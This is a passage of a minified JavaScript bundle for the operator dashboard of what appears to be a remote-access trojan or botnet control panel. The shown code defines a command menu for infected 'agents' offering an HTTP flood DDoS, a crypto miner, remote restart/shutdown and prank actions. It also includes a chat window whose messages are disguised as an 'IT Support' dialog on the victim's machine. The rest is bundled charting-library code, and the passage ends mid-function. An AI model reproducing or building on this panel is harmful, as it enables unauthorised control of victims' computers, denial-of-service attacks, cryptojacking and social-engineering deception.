Wallpaper",nav:{tab:"troll"}},{key:"troll_taskbar",label:"Toggle Taskbar",nav:{tab:"troll"}},{key:"troll_cd_tray",label:"Open CD Tray",nav:{tab:"troll"}},{key:"chat",label:"Live Chat",nav:{action:"chat"}}]},{label:"Network Attack",icon:sn.bolt,group:4,commands:[{key:"ddos_start",label:"HTTP Flood",nav:{tab:"ddos"}},{key:"miner_start",label:"Crypto Miner",nav:{tab:"miner"}}]},{label:"PC Options",icon:sn.power,group:5,commands:[{key:"restart",label:"Restart PC",nav:{action:"confirm"}},{key:"shutdown",label:"Shutdown PC",nav:{action:"confirm"}}]},{label:"Bot Options",icon:sn.cog,group:5,commands:[{key:"sleep",label:"Change Sleep",nav:{tab:"overview"}},{key:"exit",label:"Exit Agent",nav:{action:"confirm"}},{key:"uninstall",label:"Uninstall Agent",nav:{action:"confirm"}},{key:"ban",label:"Ban Agent",nav:{action:"ban"}},{key:"remove",label:"Remove from List",nav:{action:"remove"}}]}],pA={alive:"bg-zerin-accent",stale:"bg-zinc-500",dead:"bg-zinc-700"},hA={alive:"ONLINE",stale:"STALE",dead:"OFFLINE"},xA={alive:"text-zerin-accent",stale:"text-zinc-500",dead:"text-zerin-danger"},vA=({x:e,y:t,visible:n,onAction:r,onClose:i,agentStatus:s="alive",agentName:o})=>{const l=m.useRef(null),c=m.useRef(null),u=m.useRef(null),[d,f]=m.useState(null),[p,h]=m.useState({x:e,y:t}),[x,g]=m.useState(""),[y,v]=m.useState(-1),[b,w]=m.useState(-1),[j,N]=m.useState(!1),z=m.useRef(null),k=s==="dead",S=x.trim()?im.map(D=>({...D,commands:D.commands.filter(M=>M.label.toLowerCase().includes(x.toLowerCase())||M.key.toLowerCase().includes(x.toLowerCase()))})).filter(D=>D.commands.length>0||D.label.toLowerCase().includes(x.toLowerCase())).map(D=>({...D,commands:D.commands.length>0?D.commands:im.find(M=>M.label===D.label).commands})):im;m.useEffect(()=>{if(n&&l.current){const D=l.current.getBoundingClientRect(),M=window.innerWidth,W=window.innerHeight;let $=e,H=t;e+D.width>M&&($=M-D.width-8),t+D.height>W&&(H=W-D.height-8),h({x:Math.max(4,$),y:Math.max(4,H)})}else h({x:e,y:t})},[e,t,n]),m.useEffect(()=>{n||(f(null),g(""),v(-1),w(-1),N(!1))},[n]),m.useEffect(()=>{n&&requestAnimationFrame(()=>{var D;(D=c.current)==null||D.focus()})},[n]),m.useEffect(()=>{if(!n)return;const D=M=>{l.current&&!l.current.contains(M.target)&&i()};return document.addEventListener("mousedown",D),()=>{document.removeEventListener("mousedown",D)}},[n,i]),m.useEffect(()=>()=>{z.current&&clearTimeout(z.current)},[]);const A=m.useCallback(()=>{if(!u.current)return;const D=u.current;D.style.top="0px";const M=D.getBoundingClientRect(),W=window.innerHeight;if(M.bottom>W-8){const $=M.bottom-W+8;D.style.top=`${-$}px`}},[]);if(m.useEffect(()=>{d&&requestAnimationFrame(A)},[d,A]),m.useEffect(()=>{if(!n)return;const D=M=>{var $;const W=S;if(W.length!==0)switch(M.key){case"ArrowDown":{if(M.preventDefault(),j){const H=W.find(F=>F.label===d);H&&w(F=>F{const F=HF.label===d);H&&w(F=>F>0?F-1:H.commands.length-1)}else v(H=>{const F=H>0?H-1:W.length-1;return f(W[F].label),F});break}case"ArrowRight":case"Enter":{if(j&&M.key==="Enter"){M.preventDefault();const H=W.find(F=>F.label===d);H&&b>=0&&bdocument.removeEventListener("keydown",D)},[n,S,d,j,y,b,i]),!n)return null;const _=(D,M)=>{z.current&&clearTimeout(z.current),z.current=setTimeout(()=>{f(D),v(M),N(!1),w(-1)},60)},O=()=>{z.current&&clearTimeout(z.current)},P=D=>{k&&D.nav.action!=="remove"&&D.nav.action!=="ban"||r(D.key,D.nav)},I=p.x+200+220>window.innerWidth,Y=D=>D===0?!1:S[D].group!==S[D-1].group;return a.jsx("div",{ref:l,className:"fixed z-[9999]",style:{left:p.x,top:p.y},onMouseLeave:()=>{f(null),v(-1),N(!1),w(-1)},children:a.jsxs("div",{className:"min-w-[200px] border border-[#1a1a20] bg-[#0d0d11] shadow-2xl shadow-black/60 animate-scale-in",style:{backdropFilter:"blur(12px)"},children:[a.jsxs("div",{className:"flex items-center gap-2.5 border-b border-[#1a1a20] px-3 py-2.5",children:[a.jsxs("span",{className:"relative inline-flex",children:[s==="alive"&&a.jsx("span",{className:"absolute inline-flex h-full w-full rounded-full bg-zerin-accent opacity-40 animate-pulse-dot"}),a.jsx("span",{className:`relative inline-block h-2 w-2 rounded-full ${pA[s]}`})]}),a.jsxs("div",{className:"flex flex-col min-w-0",children:[a.jsx("span",{className:"text-[12px] font-medium text-zerin-text truncate max-w-[160px]",children:o||"Unknown"}),a.jsx("span",{className:`font-mono text-[10px] ${xA[s]}`,children:hA[s]})]})]}),a.jsx("div",{className:"px-2 pt-2 pb-1",children:a.jsxs("div",{className:"flex items-center gap-2 bg-[#09090b] border border-[#1a1a20] px-2 py-1.5",children:[sn.search,a.jsx("input",{ref:c,type:"text",value:x,onChange:D=>{g(D.target.value),v(-1),f(null),N(!1),w(-1)},placeholder:"Search commands...",className:"flex-1 bg-transparent text-[12px] text-zerin-text placeholder-[#3a3a44] outline-none"}),x&&a.jsx("button",{onClick:()=>{var D;g(""),(D=c.current)==null||D.focus()},className:"text-[#3a3a44] hover:text-zerin-text-dim transition-colors",children:a.jsx("svg",{className:"w-3 h-3",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2.5,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M6 18L18 6M6 6l12 12"})})})]})}),a.jsxs("div",{className:"py-1",children:[S.length===0&&a.jsx("div",{className:"px-3 py-4 text-center",children:a.jsx("span",{className:"text-[12px] text-[#3a3a44]",children:"No matches"})}),S.map((D,M)=>a.jsxs(Ah.Fragment,{children:[Y(M)&&a.jsx("div",{className:"mx-2 my-1 border-b border-[#1a1a20]"}),a.jsxs("div",{className:"relative",onMouseEnter:()=>_(D.label,M),onMouseLeave:O,children:[a.jsxs("div",{className:`flex cursor-default items-center gap-2.5 px-3 py-[7px] transition-colors duration-100 ${d===D.label||y===M?k?"bg-[#16161c] text-zerin-text-muted":"bg-zerin-accent/15 text-zerin-accent":k?"text-zerin-text-muted":"text-[#b0b0b8] hover:bg-[#14141a]"}`,children:[a.jsx("span",{className:`${d===D.label||y===M?k?"text-zerin-text-muted":"text-zerin-accent":"text-[#4a4a54]"} transition-colors duration-100`,children:D.icon}),a.jsx("span",{className:"flex-1 text-[13px] font-medium leading-tight",children:D.label}),a.jsx("svg",{className:`h-3 w-3 flex-shrink-0 transition-all duration-100 ${d===D.label||y===M?"translate-x-0.5 text-zerin-accent/70":"text-[#3a3a44]"}`,fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2.5,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M9 5l7 7-7 7"})})]}),d===D.label&&a.jsxs("div",{ref:u,className:`absolute top-0 z-[10000] min-w-[210px] border border-[#1a1a20] bg-[#0d0d11] py-1 shadow-2xl shadow-black/60 ctx-submenu-in ${I?"right-full mr-[1px]":"left-full ml-[1px]"}`,style:{backdropFilter:"blur(12px)",maxHeight:"calc(100vh - 16px)",overflowY:"auto"},children:[a.jsx("div",{className:"px-3 py-1.5 mb-0.5 border-b border-[#1a1a20]",children:a.jsx("span",{className:"text-[10px] font-medium uppercase tracking-wider text-[#3a3a44]",children:D.label})}),D.commands.map((W,$)=>{const H=k&&W.nav.action!=="remove"&&W.nav.action!=="ban",F=fA.has(W.key)||W.nav.action==="remove",K=mA.has(W.key)||W.nav.action==="ban",Z=dA.has(W.key),oe=j&&b===$;return a.jsxs("button",{onClick:()=>P(W),disabled:H,className:`flex w-full items-center justify-between gap-2 px-4 py-[7px] text-left text-[13px] transition-colors duration-75 ${F?oe?"bg-red-500/20 text-red-300 cursor-pointer":"cursor-pointer text-red-400 hover:bg-red-500/15 hover:text-red-300":K?oe?"bg-orange-500/20 text-orange-300 cursor-pointer":"cursor-pointer text-orange-400 hover:bg-orange-500/15 hover:text-orange-300":H?"cursor-not-allowed text-zerin-text-muted":oe?"bg-zerin-accent/20 text-zerin-accent cursor-pointer":"cursor-pointer text-[#b0b0b8] hover:bg-zerin-accent/15 hover:text-zerin-accent"}`,children:[a.jsx("span",{children:W.label}),Z&&!H&&sn.externalLink]},W.key)})]})]})]},D.label))]})]})})};function M5({agentId:e,agentHostname:t,open:n,onClose:r}){const[i,s]=m.useState([]),[o,l]=m.useState(""),[c,u]=m.useState(!1),[d,f]=m.useState(!0),p=m.useRef(null),h=m.useRef(null),{lastMessage:x}=m.useContext(vd),g=m.useCallback(async()=>{try{const v=st(),b=await fetch(`/api/agents/${e}/chat`,{headers:{"Content-Type":"application/json",...v?{Authorization:`Bearer ${v}`}:{}}});if(b.ok){const w=await b.json();s(w)}}catch{}finally{f(!1)}},[e]);m.useEffect(()=>{n&&(f(!0),g())},[n,g]),m.useEffect(()=>{if(!n)return;const v=setInterval(g,3e3);return()=>clearInterval(v)},[n,g]),m.useEffect(()=>{if(!(!n||!x)&&x.type==="event"){const v=x.payload;v.event_type==="task_result"&&v.agent_id===e&&g()}},[x,n,e,g]),m.useEffect(()=>{var v;(v=p.current)==null||v.scrollIntoView({behavior:"smooth"})},[i]),m.useEffect(()=>{n&&setTimeout(()=>{var v;return(v=h.current)==null?void 0:v.focus()},100)},[n]);async function y(){if(!(!o.trim()||c)){u(!0);try{const v=st(),b=await fetch(`/api/agents/${e}/chat`,{method:"POST",headers:{"Content-Type":"application/json",...v?{Authorization:`Bearer ${v}`}:{}},body:JSON.stringify({message:o.trim()})});if(b.ok){l("");const w=await b.json();s(j=>[...j,{id:w.task_id+"-op",direction:"operator",sender:"you",message:o.trim(),timestamp:new Date().toISOString()}])}}catch{}finally{u(!1)}}}return n?a.jsx("div",{className:"fixed inset-0 z-[9998] flex items-center justify-center bg-black/50",children:a.jsxs("div",{className:"flex h-[600px] w-[480px] flex-col border border-zerin-panel-border bg-zerin-bg shadow-2xl",children:[a.jsxs("div",{className:"flex items-center justify-between border-b border-zerin-panel-border bg-zerin-panel px-4 py-3",children:[a.jsxs("div",{className:"flex items-center gap-2",children:[a.jsx("svg",{className:"h-4 w-4 text-zerin-accent",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M8 12h.01M12 12h.01M16 12h.01M21 12c0 4.418-4.03 8-9 8a9.863 9.863 0 01-4.255-.949L3 20l1.395-3.72C3.512 15.042 3 13.574 3 12c0-4.418 4.03-8 9-8s9 3.582 9 8z"})}),a.jsx("span",{className:"font-display text-sm font-semibold text-zerin-text",children:"Chat"}),a.jsx("span",{className:"font-mono text-xs text-zerin-text-muted",children:t})]}),a.jsx("button",{onClick:r,className:"text-zerin-text-muted transition-colors hover:text-zerin-text",children:a.jsx("svg",{className:"h-4 w-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M6 18L18 6M6 6l12 12"})})})]}),a.jsxs("div",{className:"flex-1 overflow-y-auto px-4 py-3 space-y-3",children:[d?a.jsx("div",{className:"flex h-full items-center justify-center",children:a.jsx("span",{className:"text-sm text-zerin-text-muted",children:"Loading..."})}):i.length===0?a.jsxs("div",{className:"flex h-full flex-col items-center justify-center gap-2",children:[a.jsx("svg",{className:"h-8 w-8 text-zerin-text-muted/30",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:1.5,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M8 12h.01M12 12h.01M16 12h.01M21 12c0 4.418-4.03 8-9 8a9.863 9.863 0 01-4.255-.949L3 20l1.395-3.72C3.512 15.042 3 13.574 3 12c0-4.418 4.03-8 9-8s9 3.582 9 8z"})}),a.jsx("p",{className:"text-sm text-zerin-text-muted",children:"No messages yet"}),a.jsx("p",{className:"text-xs text-zerin-text-muted/60",children:"Send a message to start a conversation with the target"})]}):i.map(v=>a.jsx("div",{className:`flex ${v.direction==="operator"?"justify-end":"justify-start"}`,children:a.jsxs("div",{className:`max-w-[80%] px-3 py-2 ${v.direction==="operator"?"bg-zerin-accent/20 border border-zerin-accent/30":"bg-zerin-panel border border-zerin-panel-border"}`,children:[a.jsxs("div",{className:"flex items-center gap-2 mb-0.5",children:[a.jsx("span",{className:`text-[10px] font-semibold uppercase tracking-wider ${v.direction==="operator"?"text-zerin-accent":"text-zerin-text-muted"}`,children:v.direction==="operator"?v.sender:"Target"}),a.jsx("span",{className:"text-[10px] text-zerin-text-muted/50",children:gA(v.timestamp)})]}),a.jsx("p",{className:"text-sm text-zerin-text whitespace-pre-wrap break-words",children:v.message})]})},v.id)),a.jsx("div",{ref:p})]}),a.jsxs("div",{className:"border-t border-zerin-panel-border bg-zerin-panel px-4 py-3",children:[a.jsxs("div",{className:"flex gap-2",children:[a.jsx("input",{ref:h,type:"text",value:o,onChange:v=>l(v.target.value),onKeyDown:v=>{v.key==="Enter"&&!v.shiftKey&&(v.preventDefault(),y())},placeholder:"Type a message...",className:`flex-1 bg-zerin-bg border border-zerin-panel-border px-3 py-2\r + text-zerin-text placeholder-zerin-text-muted text-sm font-sans\r + focus:outline-none focus:border-zerin-accent focus:ring-1 focus:ring-zerin-accent/30\r + transition-all duration-200`}),a.jsx("button",{onClick:y,disabled:!o.trim()||c,className:`bg-zerin-accent px-4 py-2 text-sm font-medium text-white\r + transition-colors hover:bg-zerin-accent-hover\r + disabled:opacity-40 disabled:cursor-not-allowed`,children:c?"...":"Send"})]}),a.jsx("p",{className:"mt-1.5 text-[10px] text-zerin-text-muted/50",children:"Messages appear as an IT Support dialog on the target machine"})]})]})}):null}function gA(e){try{return new Date(e).toLocaleTimeString([],{hour:"2-digit",minute:"2-digit"})}catch{return e}}const yA=({open:e,onClose:t,title:n,children:r})=>{const i=m.useRef(null);return m.useEffect(()=>{if(!e)return;const s=o=>{o.key==="Escape"&&t()};return document.addEventListener("keydown",s),()=>document.removeEventListener("keydown",s)},[e,t]),m.useEffect(()=>(e?document.body.style.overflow="hidden":document.body.style.overflow="",()=>{document.body.style.overflow=""}),[e]),e?a.jsxs("div",{className:"fixed inset-0 z-[9000] flex justify-end",children:[a.jsx("div",{className:"absolute inset-0 bg-black/60 transition-opacity",onClick:t}),a.jsxs("div",{ref:i,className:"animate-slide-in-right relative z-10 flex h-full w-[480px] max-w-[90vw] flex-col border-l border-zerin-panel-border bg-zerin-panel",children:[a.jsxs("div",{className:"flex items-center justify-between border-b border-zerin-panel-border px-6 py-4",children:[a.jsx("h2",{className:"font-display text-lg font-semibold text-zerin-text",children:n}),a.jsx("button",{onClick:t,className:"group flex h-8 w-8 items-center justify-center transition-colors hover:bg-zerin-panel-hover","aria-label":"Close panel",children:a.jsx("svg",{className:"h-4 w-4 text-zerin-text-dim transition-colors group-hover:text-zerin-text",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M6 18L18 6M6 6l12 12"})})})]}),a.jsx("div",{className:"custom-scrollbar flex-1 overflow-y-auto px-6 py-4",children:r})]})]}):null};function L5(e){var t,n,r="";if(typeof e=="string"||typeof e=="number")r+=e;else if(typeof e=="object")if(Array.isArray(e)){var i=e.length;for(t=0;t{var{children:n,width:r,height:i,viewBox:s,className:o,style:l,title:c,desc:u}=e,d=zA(e,kA),f=s||{width:r,height:i,x:0,y:0},p=Qe("recharts-surface",o);return m.createElement("svg",Mp({},Ut(d),{className:p,width:r,height:i,style:l,viewBox:"".concat(f.x," ").concat(f.y," ").concat(f.width," ").concat(f.height),ref:t}),m.createElement("title",null,c),m.createElement("desc",null,u),n)}),CA=["children","className"];function Lp(){return Lp=Object.assign?Object.assign.bind():function(e){for(var t=1;t{var{children:n,className:r}=e,i=PA(e,CA),s=Qe("recharts-layer",r);return m.createElement("g",Lp({className:s},Ut(i),{ref:t}),n)}),_A=m.createContext(null);function $e(e){return function(){return e}}const $5=Math.cos,eu=Math.sin,Qn=Math.sqrt,tu=Math.PI,gd=2*tu,Ip=Math.PI,Dp=2*Ip,Fi=1e-6,AA=Dp-Fi;function B5(e){this._+=e[0];for(let t=1,n=e.length;t=0))throw new Error(`invalid digits: ${e}`);if(t>15)return B5;const n=10**t;return function(r){this._+=r[0];for(let i=1,s=r.length;iFi)if(!(Math.abs(f*c-u*d)>Fi)||!s)this._append`L${this._x1=t},${this._y1=n}`;else{let h=r-o,x=i-l,g=c*c+u*u,y=h*h+x*x,v=Math.sqrt(g),b=Math.sqrt(p),w=s*Math.tan((Ip-Math.acos((g+p-y)/(2*v*b)))/2),j=w/b,N=w/v;Math.abs(j-1)>Fi&&this._append`L${t+j*d},${n+j*f}`,this._append`A${s},${s},0,0,${+(f*h>d*x)},${this._x1=t+N*c},${this._y1=n+N*u}`}}arc(t,n,r,i,s,o){if(t=+t,n=+n,r=+r,o=!!o,r<0)throw new Error(`negative radius: ${r}`);let l=r*Math.cos(i),c=r*Math.sin(i),u=t+l,d=n+c,f=1^o,p=o?i-s:s-i;this._x1===null?this._append`M${u},${d}`:(Math.abs(this._x1-u)>Fi||Math.abs(this._y1-d)>Fi)&&this._append`L${u},${d}`,r&&(p<0&&(p=p%Dp+Dp),p>AA?this._append`A${r},${r},0,1,${f},${t-l},${n-c}A${r},${r},0,1,${f},${this._x1=u},${this._y1=d}`:p>Fi&&this._append`A${r},${r},0,${+(p>=Ip)},${f},${this._x1=t+r*Math.cos(s)},${this._y1=n+r*Math.sin(s)}`)}rect(t,n,r,i){this._append`M${this._x0=this._x1=+t},${this._y0=this._y1=+n}h${r=+r}v${+i}h${-r}Z`}toString(){return this._}}function Ax(e){let t=3;return e.digits=function(n){if(!arguments.length)return t;if(n==null)t=null;else{const r=Math.floor(n);if(!(r>=0))throw new RangeError(`invalid digits: ${n}`);t=r}return e},()=>new TA(t)}function Ox(e){return typeof e=="object"&&"length"in e?e:Array.from(e)}function F5(e){this._context=e}F5.prototype={areaStart:function(){this._line=0},areaEnd:function(){this._line=NaN},lineStart:function(){this._point=0},lineEnd:function(){(this._line||this._line!==0&&this._point===1)&&this._context.closePath(),this._line=1-this._line},point:function(e,t){switch(e=+e,t=+t,this._point){case 0:this._point=1,this._line?this._context.lineTo(e,t):this._context.moveTo(e,t);break;case 1:this._point=2;default:this._context.lineTo(e,t);break}}};function yd(e){return new F5(e)}function W5(e){return e[0]}function U5(e){return e[1]}function V5(e,t){var n=$e(!0),r=null,i=yd,s=null,o=Ax(l);e=typeof e=="function"?e:e===void 0?W5:$e(e),t=typeof t=="function"?t:t===void 0?U5:$e(t);function l(c){var u,d=(c=Ox(c)).length,f,p=!1,h;for(r==null&&(s=i(h=o())),u=0;u<=d;++u)!(u=h;--x)l.point(w[x],j[x]);l.lineEnd(),l.areaEnd()}v&&(w[p]=+e(y,p,f),j[p]=+t(y,p,f),l.point(r?+r(y,p,f):w[p],n?+n(y,p,f):j[p]))}if(b)return l=null,b+""||null}function d(){return V5().defined(i).curve(o).context(s)}return u.x=function(f){return arguments.length?(e=typeof f=="function"?f:$e(+f),r=null,u):e},u.x0=function(f){return arguments.length?(e=typeof f=="function"?f:$e(+f),u):e},u.x1=function(f){return arguments.length?(r=f==null?null:typeof f=="function"?f:$e(+f),u):r},u.y=function(f){return arguments.length?(t=typeof f=="function"?f:$e(+f),n=null,u):t},u.y0=function(f){return arguments.length?(t=typeof f=="function"?f:$e(+f),u):t},u.y1=function(f){return arguments.length?(n=f==null?null:typeof f=="function"?f:$e(+f),u):n},u.lineX0=u.lineY0=function(){return d().x(e).y(t)},u.lineY1=function(){return d().x(e).y(n)},u.lineX1=function(){return d().x(r).y(t)},u.defined=function(f){return arguments.length?(i=typeof f=="function"?f:$e(!!f),u):i},u.curve=function(f){return arguments.length?(o=f,s!=null&&(l=o(s)),u):o},u.context=function(f){return arguments.length?(f==null?s=l=null:l=o(s=f),u):s},u}class H5{constructor(t,n){this._context=t,this._x=n}areaStart(){this._line=0}areaEnd(){this._line=NaN}lineStart(){this._point=0}lineEnd(){(this._line||this._line!==0&&this._point===1)&&this._context.closePath(),this._line=1-this._line}point(t,n){switch(t=+t,n=+n,this._point){case 0:{this._point=1,this._line?this._context.lineTo(t,n):this._context.moveTo(t,n);break}case 1:this._point=2;default:{this._x?this._context.bezierCurveTo(this._x0=(this._x0+t)/2,this._y0,this._x0,n,t,n):this._context.bezierCurveTo(this._x0,this._y0=(this._y0+n)/2,t,this._y0,t,n);break}}this._x0=t,this._y0=n}}function MA(e){return new H5(e,!0)}function LA(e){return new H5(e,!1)}const Tx={draw(e,t){const n=Qn(t/tu);e.moveTo(n,0),e.arc(0,0,n,0,gd)}},IA={draw(e,t){const n=Qn(t/5)/2;e.moveTo(-3*n,-n),e.lineTo(-n,-n),e.lineTo(-n,-3*n),e.lineTo(n,-3*n),e.lineTo(n,-n),e.lineTo(3*n,-n),e.lineTo(3*n,n),e.lineTo(n,n),e.lineTo(n,3*n),e.lineTo(-n,3*n),e.lineTo(-n,n),e.lineTo(-3*n,n),e.closePath()}},K5=Qn(1/3),DA=K5*2,RA={draw(e,t){const n=Qn(t/DA),r=n*K5;e.moveTo(0,-n),e.lineTo(r,0),e.lineTo(0,n),e.lineTo(-r,0),e.closePath()}},$A={draw(e,t){const n=Qn(t),r=-n/2;e.rect(r,r,n,n)}},BA=.8908130915292852,Y5=eu(tu/10)/eu(7*tu/10),FA=eu(gd/10)*Y5,WA=-$5(gd/10)*Y5,UA={draw(e,t){const n=Qn(t*BA),r=FA*n,i=WA*n;e.moveTo(0,-n),e.lineTo(r,i);for(let s=1;s<5;++s){const o=gd*s/5,l=$5(o),c=eu(o);e.lineTo(c*n,-l*n),e.lineTo(l*r-c*i,c*r+l*i)}e.closePath()}},am=Qn(3),VA={draw(e,t){const n=-Qn(t/(am*3));e.moveTo(0,n*2),e.lineTo(-am*n,-n),e.lineTo(am*n,-n),e.closePath()}},bn=-.5,wn=Qn(3)/2,Rp=1/Qn(12),HA=(Rp/2+1)*3,KA={draw(e,t){const n=Qn(t/HA),r=n/2,i=n*Rp,s=r,o=n*Rp+n,l=-s,c=o;e.moveTo(r,i),e.lineTo(s,o),e.lineTo(l,c),e.lineTo(bn*r-wn*i,wn*r+bn*i),e.lineTo(bn*s-wn*o,wn*s+bn*o),e.lineTo(bn*l-wn*c,wn*l+bn*c),e.lineTo(bn*r+wn*i,bn*i-wn*r),e.lineTo(bn*s+wn*o,bn*o-wn*s),e.lineTo(bn*l+wn*c,bn*c-wn*l),e.closePath()}};function YA(e,t){let n=null,r=Ax(i);e=typeof e=="function"?e:$e(e||Tx),t=typeof t=="function"?t:$e(t===void 0?64:+t);function i(){let s;if(n||(n=s=r()),e.apply(this,arguments).draw(n,+t.apply(this,arguments)),s)return n=null,s+""||null}return i.type=function(s){return arguments.length?(e=typeof s=="function"?s:$e(s),i):e},i.size=function(s){return arguments.length?(t=typeof s=="function"?s:$e(+s),i):t},i.context=function(s){return arguments.length?(n=s??null,i):n},i}function nu(){}function ru(e,t,n){e._context.bezierCurveTo((2*e._x0+e._x1)/3,(2*e._y0+e._y1)/3,(e._x0+2*e._x1)/3,(e._y0+2*e._y1)/3,(e._x0+4*e._x1+t)/6,(e._y0+4*e._y1+n)/6)}function q5(e){this._context=e}q5.prototype={areaStart:function(){this._line=0},areaEnd:function(){this._line=NaN},lineStart:function(){this._x0=this._x1=this._y0=this._y1=NaN,this._point=0},lineEnd:function(){switch(this._point){case 3:ru(this,this._x1,this._y1);case 2:this._context.lineTo(this._x1,this._y1);break}(this._line||this._line!==0&&this._point===1)&&this._context.closePath(),this._line=1-this._line},point:function(e,t){switch(e=+e,t=+t,this._point){case 0:this._point=1,this._line?this._context.lineTo(e,t):this._context.moveTo(e,t);break;case 1:this._point=2;break;case 2:this._point=3,this._context.lineTo((5*this._x0+this._x1)/6,(5*this._y0+this._y1)/6);default:ru(this,e,t);break}this._x0=this._x1,this._x1=e,this._y0=this._y1,this._y1=t}};function qA(e){return new q5(e)}function G5(e){this._context=e}G5.prototype={areaStart:nu,areaEnd:nu,lineStart:function(){this._x0=this._x1=this._x2=this._x3=this._x4=this._y0=this._y1=this._y2=this._y3=this._y4=NaN,this._point=0},lineEnd:function(){switch(this._point){case 1:{this._context.moveTo(this._x2,this._y2),this._context.closePath();break}case 2:{this._context.moveTo((this._x2+2*this._x3)/3,(this._y2+2*this._y3)/3),this._context.lineTo((this._x3+2*this._x2)/3,(this._y3+2*this._y2)/3),this._context.closePath();break}case 3:{this.point(this._x2,this._y2),this.point(this._x3,this._y3),this.point(this._x4,this._y4);break}}},point:function(e,t){switch(e=+e,t=+t,this._point){case 0:this._point=1,this._x2=e,this._y2=t;break;case 1:this._point=2,this._x3=e,this._y3=t;break;case 2:this._point=3,this._x4=e,this._y4=t,this._context.moveTo((this._x0+4*this._x1+e)/6,(this._y0+4*this._y1+t)/6);break;default:ru(this,e,t);break}this._x0=this._x1,this._x1=e,this._y0=this._y1,this._y1=t}};function GA(e){return new G5(e)}function X5(e){this._context=e}X5.prototype={areaStart:function(){this._line=0},areaEnd:function(){this._line=NaN},lineStart:function(){this._x0=this._x1=this._y0=this._y1=NaN,this._point=0},lineEnd:function(){(this._line||this._line!==0&&this._point===3)&&this._context.closePath(),this._line=1-this._line},point:function(e,t){switch(e=+e,t=+t,this._point){case 0:this._point=1;break;case 1:this._point=2;break;case 2:this._point=3;var n=(this._x0+4*this._x1+e)/6,r=(this._y0+4*this._y1+t)/6;this._line?this._context.lineTo(n,r):this._context.moveTo(n,r);break;case 3:this._point=4;default:ru(this,e,t);break}this._x0=this._x1,this._x1=e,this._y0=this._y1,this._y1=t}};function XA(e){return new X5(e)}function Z5(e){this._context=e}Z5.prototype={areaStart:nu,areaEnd:nu,lineStart:function(){this._point=0},lineEnd:function(){this._point&&this._context.closePath()},point:function(e,t){e=+e,t=+t,this._point?this._context.lineTo(e,t):(this._point=1,this._context.moveTo(e,t))}};function ZA(e){return new Z5(e)}function oy(e){return e<0?-1:1}function ly(e,t,n){var r=e._x1-e._x0,i=t-e._x1,s=(e._y1-e._y0)/(r||i<0&&-0),o=(n-e._y1)/(i||r<0&&-0),l=(s*i+o*r)/(r+i);return(oy(s)+oy(o))*Math.min(Math.abs(s),Math.abs(o),.5*Math.abs(l))||0}function cy(e,t){var n=e._x1-e._x0;return n?(3*(e._y1-e._y0)/n-t)/2:t}function sm(e,t,n){var r=e._x0,i=e._y0,s=e._x1,o=e._y1,l=(s-r)/3;e._context.bezierCurveTo(r+l,i+l*t,s-l,o-l*n,s,o)}function iu(e){this._context=e}iu.prototype={areaStart:function(){this._line=0},areaEnd:function(){this._line=NaN},lineStart:function(){this._x0=this._x1=this._y0=this._y1=this._t0=NaN,this._point=0},lineEnd:function(){switch(this._point){case 2:this._context.lineTo(this._x1,this._y1);break;case 3:sm(this,this._t0,cy(this,this._t0));break}(this._line||this._line!==0&&this._point===1)&&this._context.closePath(),this._line=1-this._line},point:function(e,t){var n=NaN;if(e=+e,t=+t,!(e===this._x1&&t===this._y1)){switch(this._point){case 0:this._point=1,this._line?this._context.lineTo(e,t):this._context.moveTo(e,t);break;case 1:this._point=2;break;case 2:this._point=3,sm(this,cy(this,n=ly(this,e,t)),n);break;default:sm(this,this._t0,n=ly(this,e,t));break}this._x0=this._x1,this._x1=e,this._y0=this._y1,this._y1=t,this._t0=n}}};function Q5(e){this._context=new J5(e)}(Q5.prototype=Object.create(iu.prototype)).point=function(e,t){iu.prototype.point.call(this,t,e)};function J5(e){this._context=e}J5.prototype={moveTo:function(e,t){this._context.moveTo(t,e)},closePath:function(){this._context.closePath()},lineTo:function(e,t){this._context.lineTo(t,e)},bezierCurveTo:function(e,t,n,r,i,s){this._context.bezierCurveTo(t,e,r,n,s,i)}};function QA(e){return new iu(e)}function JA(e){return new Q5(e)}function eN(e){this._context=e}eN.prototype={areaStart:function(){this._line=0},areaEnd:function(){this._line=NaN},lineStart:function(){this._x=[],this._y=[]},lineEnd:function(){var e=this._x,t=this._y,n=e.length;if(n)if(this._line?this._context.lineTo(e[0],t[0]):this._context.moveTo(e[0],t[0]),n===2)this._context.lineTo(e[1],t[1]);else for(var r=uy(e),i=uy(t),s=0,o=1;o=0;--t)i[t]=(o[t]-i[t+1])/s[t];for(s[n-1]=(e[n]+i[n-1])/2,t=0;t=0&&(this._t=1-this._t,this._line=1-this._line)},point:function(e,t){switch(e=+e,t=+t,this._point){case 0:this._point=1,this._line?this._context.lineTo(e,t):this._context.moveTo(e,t);break;case 1:this._point=2;default:{if(this._t<=0)this._context.lineTo(this._x,t),this._context.lineTo(e,t);else{var n=this._x*(1-this._t)+e*this._t;this._context.lineTo(n,this._y),this._context.lineTo(n,t)}break}}this._x=e,this._y=t}};function t6(e){return new bd(e,.5)}function n6(e){return new bd(e,0)}function r6(e){return new bd(e,1)}function ua(e,t){if((o=e.length)>1)for(var n=1,r,i,s=e[t[0]],o,l=s.length;n=0;)n[t]=t;return n}function i6(e,t){return e[t]}function a6(e){const t=[];return t.key=e,t}function s6(){var e=$e([]),t=$p,n=ua,r=i6;function i(s){var o=Array.from(e.apply(this,arguments),a6),l,c=o.length,u=-1,d;for(const f of s)for(l=0,++u;l0){for(var n,r,i=0,s=e[0].length,o;i0){for(var n=0,r=e[t[0]],i,s=r.length;n0)||!((s=(i=e[t[0]]).length)>0))){for(var n=0,r=1,i,s,o;r1&&arguments[1]!==void 0?arguments[1]:d6,n=10**t,r=Math.round(e*n)/n;return Object.is(r,-0)?0:r}function tt(e){for(var 